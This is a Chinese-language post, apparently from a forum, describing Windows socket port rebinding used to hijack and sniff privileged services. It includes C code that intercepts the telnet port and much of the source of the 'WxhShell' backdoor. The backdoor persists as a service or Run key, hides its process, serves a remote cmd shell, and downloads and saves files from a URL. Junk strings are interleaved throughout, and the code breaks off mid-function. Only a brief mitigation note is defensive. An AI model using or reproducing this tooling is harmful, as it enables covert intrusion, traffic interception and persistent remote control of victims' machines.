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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5+y`P$K@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *aG"+c6| ?>)yKa# U saddr.sin_family = AF_INET; e`ex]py<C c! ~T2t saddr.sin_addr.s_addr = htonl(INADDR_ANY); `e*61k5 a 2E t,WA% bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v$JLDt_ CXa Ld7nMX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \P@S"QO ! OfO:L7- 这意味着什么?意味着可以进行如下的攻击: S~|tfJpL Loc8eToZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KT=a(QL '8={ sMy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Bn_g-WrT .pKN4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 GDmv0V$6 h{H]xe[Q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 rT<1S?jR 'v+96b/; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P|v ? U5clQiow 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5IO3 % p? sOC|
B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y0y+%H- 1V\1]J/ #include 8ur_/h7 #include 4NI'(#l #include R1~7F{FW #include .:SfMr;G DWORD WINAPI ClientThread(LPVOID lpParam); s1v{~xP int main() fW[_+r] { CCy. WORD wVersionRequested; gi
'^qi2 DWORD ret;
TiTYs WSADATA wsaData; eNivlJ,K|@ BOOL val; )biX8yqhR SOCKADDR_IN saddr; o`25 SOCKADDR_IN scaddr; tPA"lBS ! int err; z^"?sd SOCKET s; zcZ^s v> SOCKET sc; m/cx|b3hqv int caddsize; })q]gMj HANDLE mt; OY$7`8M[ DWORD tid; 9.jG\i wVersionRequested = MAKEWORD( 2, 2 ); OfW%&LAMQ err = WSAStartup( wVersionRequested, &wsaData ); rC~_:uXtE if ( err != 0 ) { ,Qga|n8C printf("error!WSAStartup failed!\n"); ^75pV%<% return -1; :E}6S } "hz>{oe saddr.sin_family = AF_INET; i^~sn `o 0VG^GKmx //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,Z >JvTnH kK08W3@&t saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?#x'_2 saddr.sin_port = htons(23); EC0zH#N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0,+EV, { 6_x}.bkIx= printf("error!socket failed!\n"); e_tZja2s return -1; 0oXK&Z } 7O]J^H+7 val = TRUE; Au~+Zz|mQ //SO_REUSEADDR选项就是可以实现端口重绑定的 dVij <! Lu if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9@JlaY)0 { tuX =o
printf("error!setsockopt failed!\n"); jt0H5-x return -1; >B @i
E } # w
i&n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0-6:AHix //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7g {g} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Vf@S8H 5)h+(u C3 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sDW"j\ { @2)t#~Wc4h ret=GetLastError(); @&/s~3 printf("error!bind failed!\n"); qiF@7i return -1; 3RBpbTNWp } TsoCW]h listen(s,2); [i2A{(x while(1) V,99N'o~x { ;P0,60 caddsize = sizeof(scaddr); ]b5%?^Z# //接受连接请求 m~A[V,os sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R
(+h)#![ if(sc!=INVALID_SOCKET) =vB]*?;9 { 3tJ=d'U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !y[}| if(mt==NULL) z(8)1#(n7 { h0'8NvalQ printf("Thread Creat Failed!\n"); d m/-} break; LC~CPV'F } tuL\7
(R }
hg<"Yg= CloseHandle(mt); yf0vR%,\ } 5i}CzA96 closesocket(s); cKvAR5| WSACleanup(); \;A50U|r return 0; # CP9^R S } 7UeE(=Hr5 DWORD WINAPI ClientThread(LPVOID lpParam) ,n
/SDEL { 1Xk{(G<\ SOCKET ss = (SOCKET)lpParam; c+)36/; X SOCKET sc; kMfc"JXF unsigned char buf[4096]; dXf]G6 SOCKADDR_IN saddr; OX#eLco long num; o(v"?Y 6 DWORD val; &etL&s v DWORD ret; 0xvMR&.H //如果是隐藏端口应用的话,可以在此处加一些判断 Cy`<^_i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 F)[XIY&2/ saddr.sin_family = AF_INET; s0X/1Cq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HM(bR"E saddr.sin_port = htons(23); MbT
ONt?~v if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TsFV
;Sl3 { kx;xO>dC printf("error!socket failed!\n"); B` t6H return -1; 8gu'dG = } 02]8|B(E90 val = 100; Fyi?,, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y{&{=1# { |,M#8NOp: ret = GetLastError(); T6/$pJl return -1; S\yu%=h } 8o%<.] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i4{ / { H`+]dXLB ret = GetLastError(); r-1yJ return -1; B^_$
hJncc } A$H+4L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gavQb3EP { p3,(*eZ printf("error!socket connect failed!\n"); n;S0fg closesocket(sc); eY6gb!5u closesocket(ss); @SF")j| return -1; 9}'l=b:Jms } /:*R -VdF while(1) n##w[7B* { "W,"qFx //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?h>%Ix //如果是嗅探内容的话,可以再此处进行内容分析和记录 .5Z,SGBf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }R(0[0NQe- num = recv(ss,buf,4096,0); pDq^W@Rq if(num>0) 0IT20.~ send(sc,buf,num,0); 's7 SZ$( else if(num==0) )+Y\NO?O break; ATXx?
b8h num = recv(sc,buf,4096,0); YDZ1@N}^B if(num>0) a-UD_|! send(ss,buf,num,0); E``!-W else if(num==0) c!(~BH3p break; 6U,U[MWJ } h!t2H6eyF closesocket(ss); ~YT>:Np closesocket(sc); u}@%70A return 0 ; kHo;9j-U } NZw[.s>n
4o)\DB?! ?[L0LL?ce ========================================================== Do[ F+Y -c<1H)W 下边附上一个代码,,WXhSHELL 61eKGcjs: ^JF_;~C ========================================================== Y"]e H{ =-1^K #include "stdafx.h" H $qdU!c 'mY,>#sT #include <stdio.h> {]/Jk07 #include <string.h> Q,M/R6i- #include <windows.h> 2dV\=vd #include <winsock2.h> xzGsfd #include <winsvc.h> 48"Y-TV #include <urlmon.h> !\D]\|Bo iw]BQjK #pragma comment (lib, "Ws2_32.lib") ;6&=]I #pragma comment (lib, "urlmon.lib") Y$`hudJ& dO4U9{+ #define MAX_USER 100 // 最大客户端连接数 c_8 mQ #define BUF_SOCK 200 // sock buffer ;HLMU36q #define KEY_BUFF 255 // 输入 buffer <J_,9&\J 77=y!SDP #define REBOOT 0 // 重启 C6=;(=?C #define SHUTDOWN 1 // 关机 'm p{O .5Z@5g` #define DEF_PORT 5000 // 监听端口 3vGaT4TDx U*+!w@
. #define REG_LEN 16 // 注册表键长度 |@bNd7=2d #define SVC_LEN 80 // NT服务名长度 Z@aL"@2]a RxDxLU2kt // 从dll定义API yfw>y=/p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RT+30Q? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hK9oe%kU~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >J75T1PH= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H|Fqc=qp u4*]jt;H // wxhshell配置信息 ]2sZu7 struct WSCFG { jiB>.te int ws_port; // 监听端口 Z?!:=x>7m char ws_passstr[REG_LEN]; // 口令 z&yb_A:> int ws_autoins; // 安装标记, 1=yes 0=no T[$hYe8%^ char ws_regname[REG_LEN]; // 注册表键名 -9<yB char ws_svcname[REG_LEN]; // 服务名 a!J ow?( char ws_svcdisp[SVC_LEN]; // 服务显示名 $X\`
7`v char ws_svcdesc[SVC_LEN]; // 服务描述信息 63dtO{:4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Z9gOd<M~ int ws_downexe; // 下载执行标记, 1=yes 0=no G|Yp<W%o char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ",
Rw%_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sT"tS> D!E 9@*Lf }; +mQC:B7> G`JwAy r' // default Wxhshell configuration yLa5tv/ struct WSCFG wscfg={DEF_PORT, "E[*rnsLN "xuhuanlingzhe", n YMf[kW 1, Cq;K,B9 "Wxhshell", <IkD=X "Wxhshell", rpP+20 v "WxhShell Service", YHv,Z|.w "Wrsky Windows CmdShell Service", MVU'GHv "Please Input Your Password: ", iO= uXN1g 1, Ue\oIi " http://www.wrsky.com/wxhshell.exe", JP% ;rAoJ "Wxhshell.exe" bFdg'_ }; X|lmH{kf v&/-&(+ // 消息定义模块 8 P y_Y> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X1PlW8pd char *msg_ws_prompt="\n\r? for help\n\r#>"; ]X;*\- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 27i<6PAC[A char *msg_ws_ext="\n\rExit."; ]be2jQx3 char *msg_ws_end="\n\rQuit."; [&}<!:9' char *msg_ws_boot="\n\rReboot..."; *wZV*)} char *msg_ws_poff="\n\rShutdown..."; ^>}[[:( 6/ char *msg_ws_down="\n\rSave to "; {_N(S]Z 0J,d9a [1 char *msg_ws_err="\n\rErr!"; 8i$`oMv[y char *msg_ws_ok="\n\rOK!"; <u%e* E0%Y%PQ**{ char ExeFile[MAX_PATH]; "YU~QOGx@ int nUser = 0; FrM~6A_ HANDLE handles[MAX_USER]; 48*pKbbM4 int OsIsNt; y/*Tvb #TJ y(BLin!O. SERVICE_STATUS serviceStatus; +uXnFf d^ SERVICE_STATUS_HANDLE hServiceStatusHandle; bH]!~[ z`{zqP: // 函数声明 weadY,-H8 int Install(void); otVdx&%] int Uninstall(void); ,'DrFlI int DownloadFile(char *sURL, SOCKET wsh); f;dU72]q+ int Boot(int flag); Mp}NUQHE void HideProc(void); }n8;A;axi int GetOsVer(void); $ =a$z" int Wxhshell(SOCKET wsl); nM}`H'0 void TalkWithClient(void *cs); A{T@O5ucj int CmdShell(SOCKET sock); k(Xv&Zn int StartFromService(void); k$- q;VI int StartWxhshell(LPSTR lpCmdLine); 9 9BK/>R "lb!m9F{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [:'?}p VOID WINAPI NTServiceHandler( DWORD fdwControl ); m)w-mc -%$
dFq // 数据结构和表定义 ;P#*R3
SERVICE_TABLE_ENTRY DispatchTable[] = [`dipLkr { dR{
V,H7N {wscfg.ws_svcname, NTServiceMain}, r}Av" {NULL, NULL} +>({pHZ<S }; V2skr_1 5W-M8dc6 // 自我安装 IcA~f@ int Install(void) .?]_yX { > PA,72e char svExeFile[MAX_PATH]; aBLb i HKEY key; 2 -8:qmP( strcpy(svExeFile,ExeFile); |:BYOxAYZ8 BBj"}~da // 如果是win9x系统,修改注册表设为自启动 z9w.=[Io if(!OsIsNt) { vH8%a8V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %W@IB8]Vr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8"^TWzg}L RegCloseKey(key); EOC"a}Cq- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T+!kRigN~P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F'*4:WD7 RegCloseKey(key); 5(Oc"0''H return 0; y$NG ..S } :E*U*#h/ } G"wQ(6J@ } ywte\} else { ZeV)/g,w v21? // 如果是NT以上系统,安装为系统服务 5)6%D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lNAHn<ht if (schSCManager!=0) GrC")Z|3u { xc?<:h" SC_HANDLE schService = CreateService h (2k;M^s ( 2_v>8B schSCManager, "
z{w^k wscfg.ws_svcname, k=_@1b- wscfg.ws_svcdisp, t68RWzqiG[ SERVICE_ALL_ACCESS, Df^S77&c! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F{tSfKy2 SERVICE_AUTO_START, K4~Ox SERVICE_ERROR_NORMAL, pT tX[CE svExeFile, '"^JNb^I NULL, dW68lVWq_ NULL, -}o;Y)
NULL, gZv<_0N NULL, =oJiNM5_u NULL xkovoTzV ); c2/HY8ttRD if (schService!=0) g!ww;_ { Y2n*T
KXI, CloseServiceHandle(schService); ,jmG!qJb CloseServiceHandle(schSCManager); ^cm^JyS) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !4:,,!T strcat(svExeFile,wscfg.ws_svcname); $}fA;BP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4aC#Cv:0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @@jdF-Utj; RegCloseKey(key); 9K!='u` return 0; bSfQH4F } .&y1gh!= } *bEsWeP CloseServiceHandle(schSCManager); nmr>Aj8[ } CCV~nf } 5mU_S\)4:z CggEAi~ return 1; .E&~]< } WmA578|l! >q`X%&l_ // 自我卸载 o6 /?WR 9 int Uninstall(void) /
<p HDY { x<(h9tB HKEY key; tF|bxXsZ uZ+< if(!OsIsNt) { \+xsJbEV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2olim1 RegDeleteValue(key,wscfg.ws_regname); I1gu<a RegCloseKey(key); C7#$s<>TO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lmb<)YY RegDeleteValue(key,wscfg.ws_regname); t(Uoi~#[ RegCloseKey(key); tz,FK;8 return 0; k;sUD mrO } ~J|0G6H } _bX)fnUu } 7u zN/LAF else { X_lNnk L" o6)N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [#:k3aFz if (schSCManager!=0) AF@C9s { -8IiQRS SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o! 8X< o if (schService!=0) DCj!m<Y& { mS0W@# |K if(DeleteService(schService)!=0) { ,f$RE6 CloseServiceHandle(schService); R`c5-0A CloseServiceHandle(schSCManager); gisZmu0 return 0; Xy._&&pt } T4[eBO CloseServiceHandle(schService); (~jOtUyT } jzQgDed ] CloseServiceHandle(schSCManager); O'k"6sBb } 8L:0Wp }
KLX>QR@ >(3y(1; return 1; ;.iy{&$ } wegBMRQVp i[B%:q:& // 从指定url下载文件 BsJClKp/ int DownloadFile(char *sURL, SOCKET wsh) gY%-0@g { /#tOi[0[ HRESULT hr; =#W6+=YN8 char seps[]= "/"; :0J;^@ char *token; ]]+"`t,- char *file; $3So`8Bm[$ char myURL[MAX_PATH]; '`S,d[~ char myFILE[MAX_PATH]; JH 8^ZP:d' =vR>KE strcpy(myURL,sURL); IMj{n.y4 token=strtok(myURL,seps); 2?&h{PA+ while(token!=NULL) B{44|aq1 | { d;`JDT file=token; >6c{CYuT token=strtok(NULL,seps); !( /dbHB } *cf#:5Nl p &A3l GetCurrentDirectory(MAX_PATH,myFILE); HM`;%0T0( strcat(myFILE, "\\"); O[!]/qP+. strcat(myFILE, file); ig6F!p send(wsh,myFILE,strlen(myFILE),0); %
_ N-:.S send(wsh,"...",3,0); D_g+O"];P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C&\#{m_1B if(hr==S_OK) {a(TT)d return 0; Zf ;U=]R else Z\n
nVM= return 1; rAgb<D@,H )Zox;}WK+ } {q:6;yzxl 3{CXIS // 系统电源模块 ZjWI~"] int Boot(int flag) 3>ytpXUEGx { }5`Kn}rY HANDLE hToken; J%{>I TOKEN_PRIVILEGES tkp; /@:I\&{f'9 [&51m^ if(OsIsNt) { m)V%l0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NbH;@R)L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !IcPO tkp.PrivilegeCount = 1; af)L+%Q%R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jx J5F3d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W;Ct[Y8m if(flag==REBOOT) { $/K<hT_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ? g}G#j return 0; `KB; 3L } tmKHT else { #mFIZMTRd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J.$N<. return 0; }Ge$?ZFH } RGsgT ^ } a0~LZQ? else { .r4*?> if(flag==REBOOT) { xQ%N%
` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =A{F&:+a] return 0; )vn{?Ulj } ;ry~x:7L7 else { ]De<'x} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XkDIP4v% return 0; qx|~H'UuBN } \(C6|-:GY } UyENzK<%u ~6DaM! return 1; &sJ -&7YZ } \8g'v@$wG e w?4; // win9x进程隐藏模块 "Doz~R\\ void HideProc(void) 1R-WJph { 7_HFQT1.N ^VOFkUp) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]lqLC if ( hKernel != NULL ) 3N257] { E6XDn`: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |h%=a8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zncKd{Q\tP FreeLibrary(hKernel); SMonJ;Y } ?.Q$@Ih0 4(
$p8J return; bI+/0Xx } |yS % pmRm&VgE. // 获取操作系统版本 S#kYPe int GetOsVer(void) fJOwE
g| { "%lIB{ OSVERSIONINFO winfo; qA0PGo winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PzOnS GetVersionEx(&winfo); 8yk7d76Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #lR-?Uh return 1;
pu~b\&^G else S4\a"WYg return 0; tq}MzKI* } kMJ}sS pT{is.RM // 客户端句柄模块 }ZK%@b> int Wxhshell(SOCKET wsl) |sd G<+ { =p^$>o SOCKET wsh; nrHC;R.nE struct sockaddr_in client; 63'm
@oZ DWORD myID; zOd*> @^T~W^+ while(nUser<MAX_USER) O}>@G { C$q};7b1N int nSize=sizeof(client); hr;^.a^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d?&`ZVl if(wsh==INVALID_SOCKET) return 1; !KMl'kswe: yX4Vv{g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qo)Da}uo20 if(handles[nUser]==0) 6se8`[ closesocket(wsh); l]4=W<N else "MU-&** nUser++; \_WR:?l } Vbt!, 2_) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6#7hMQ0&;O {.542}A return 0; UAPd["`)y } E447'aJ +N=HI1^54R // 关闭 socket }[Z'Sg]s void CloseIt(SOCKET wsh) g'KxjjYT, { vP x/&x closesocket(wsh); yAfwQ$Ll7 nUser--; E{EO9EI ExitThread(0); ?<${?L> } }%p:Xv@X! ydy TDn // 客户端请求句柄 +=jS! void TalkWithClient(void *cs) wn.~Dx { `0\Z*^> Vf;&z$D{r SOCKET wsh=(SOCKET)cs; [a04(
2g char pwd[SVC_LEN];
'g!T${ char cmd[KEY_BUFF]; 2uOYuM[7gH char chr[1]; gYD1A\ int i,j; H}$7c`;q uX*2Rs$s while (nUser < MAX_USER) { K f/[Edn !gve]>M if(wscfg.ws_passstr) { =..Bh8P71! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =SXdO)%2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bZNqv-5 4h //ZeroMemory(pwd,KEY_BUFF); g%&E~V/g$ i=0; HEBeJ2w while(i<SVC_LEN) { =p8uP5H o/w3b8 // 设置超时 umIGI fd_set FdRead; ]xQv\u struct timeval TimeOut; #RBrii-, FD_ZERO(&FdRead);
ECOJ .^ FD_SET(wsh,&FdRead); ,WRm{v0f^ TimeOut.tv_sec=8; 5MVa;m TimeOut.tv_usec=0; #7i*Diqf9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8M99cx*K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^.6[vmmq <0})%V?- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `}EnY@*h pwd =chr[0]; C|V7ZL>W if(chr[0]==0xd || chr[0]==0xa) { <E2 IU~e pwd=0; /'sv7hg+ break; L,}'ST } z&6_}{2,] i++; tm+*ik=x| } 7*l$i/! A7%d // 如果是非法用户,关闭 socket KqK]R6> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YzESVTh } Fi/iA%, [E1qv; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,8e'<y send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /eV)5`V 'Aq^z%| while(1) { DpRMXo[ x3q^}sj% ZeroMemory(cmd,KEY_BUFF); ]SQ+r*a
@ap!3o8,9 // 自动支持客户端 telnet标准 @IL04' \ j=0; M+ +Dk7B while(j<KEY_BUFF) { ciblj?"Wi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Db|f"3rq? cmd[j]=chr[0]; 2FMmANH0ev if(chr[0]==0xa || chr[0]==0xd) { GW AT0 cmd[j]=0; 2Re8rcQQU break; 4fi4F1 f } Z>g72I%X j++; Ok!P~2J } C
m:AU; c8&3IzZ // 下载文件 [U&k"s? if(strstr(cmd,"http://")) { *j3U+HV send(wsh,msg_ws_down,strlen(msg_ws_down),0); "Hw%@]# if(DownloadFile(cmd,wsh)) NfoHQU<n send(wsh,msg_ws_err,strlen(msg_ws_err),0); fEBi'Ad else P.Ntjz/B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zK6w0 } n*\o. :f else { N3u06 y6$a:6 switch(cmd[0]) { nvR%Ub x x// uF // 帮助 jRsl/dmy case '?': { z};|.N} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -
|pe D
L break; ef'kG"1 } e#oK%
{A // 安装 7&id(&y/ case 'i': { ;pm/nu if(Install()) `+Nv=vk send(wsh,msg_ws_err,strlen(msg_ws_err),0); "nz\YQdg else &J/EBmY[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N8nt2r<h break; 9,8/DW.K } ]WNY"B>+ // 卸载 ,=e.QAF!" case 'r': { {`):X _$T if(Uninstall()) S/ oD` send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]1p Q)\'p else Lx_Jw\YO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g{Av
=66Z break; T @^ S:K } azFJ-0n@" // 显示 wxhshell 所在路径 r0nnmy]{d case 'p': { bGwOhd<. char svExeFile[MAX_PATH]; {_!,T%>+1 strcpy(svExeFile,"\n\r"); '`;=d<' strcat(svExeFile,ExeFile); -"zW"v)\ send(wsh,svExeFile,strlen(svExeFile),0); *ELU">!}G break; v#gXXO[P1 } )@9Eq|jMC // 重启 <cZ/_+H%C case 'b': { ~0+<-T send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P84YriLo if(Boot(REBOOT)) n><ad*|MX send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ytc[ kp else { '__>M>[ closesocket(wsh); <#8}![3Q ExitThread(0); 'C}ku>B_r } i\;ZEM{ break; &~;M16XM,e } #do%u"q // 关机 0Sk~m4fj( case 'd': { ,~,q0PA7J send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !4<D^eh if(Boot(SHUTDOWN)) Ae=JG8Ht~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); //N="9)@ else { E5A"sB
closesocket(wsh); ,){#J"W ExitThread(0); )-"<19eu } P0; y break; j=U"t\{ } iz;5: // 获取shell uO]|YF case 's': { >o13?-S%e CmdShell(wsh); > dVhIbG closesocket(wsh); gFuK/]gzI ExitThread(0); k?HdW(HA break; f99"~)B| } $,O8SW.O$ // 退出 Z,AY<[/C case 'x': { @f"[*7Q`/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b&@]f2/ CloseIt(wsh); %CYo,
e break; [;aM8N
} $bp$[fX(e // 离开 M
hW9^? case 'q': { gnzg(Y]5w send(wsh,msg_ws_end,strlen(msg_ws_end),0); %m/lPL closesocket(wsh); \:s%;s51 WSACleanup(); <uBRLe`) exit(1); qZE3T:S break; pam9wfP } )c*xKij } GK-P6d } x0%m}P/ R+ \% // 提示信息 s*
u1n+Zq if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&/+/s9N } (Nz`w } *k#"@ E<tR8='F return; k7@QFw4 j } @=AQr4& 0+qC_ISns // shell模块句柄 6^J[SQ6P int CmdShell(SOCKET sock) -3?
<Ja { d])ctxB STARTUPINFO si; li?@BHEf ZeroMemory(&si,sizeof(si)); g i/k#3_m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T#!% Uzz si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x
~)~v?>T PROCESS_INFORMATION ProcessInfo; 1E||ft-1i* char cmdline[]="cmd"; q,#s m'S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (||qFu9a return 0; Q_fgpjEh/t } _2`b$/)- GTfM *b // 自身启动模式 #6#n4`%ER int StartFromService(void) W//+[ { *re?V9 typedef struct '3^ qW { V D7^wd9 DWORD ExitStatus; VfJ{);
DWORD PebBaseAddress; PX^k; DWORD AffinityMask; 44~ReN}` DWORD BasePriority; UE5,Ml~X ULONG UniqueProcessId; v,Z]Vqk ULONG InheritedFromUniqueProcessId; .eVX/6, } PROCESS_BASIC_INFORMATION; ?&,6Y'" kk<%VKC PROCNTQSIP NtQueryInformationProcess; '^WR5P<8c W!.FnM5x static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JBw2#ry static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H'k~; oF+yh!~mM HANDLE hProcess; KLG .?`h: PROCESS_BASIC_INFORMATION pbi; ZHeue_~x4 {_.(,Z{ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WhH60/` if(NULL == hInst ) return 0; WwnBe"7M gU&+^e > g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kc^ctAk7; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 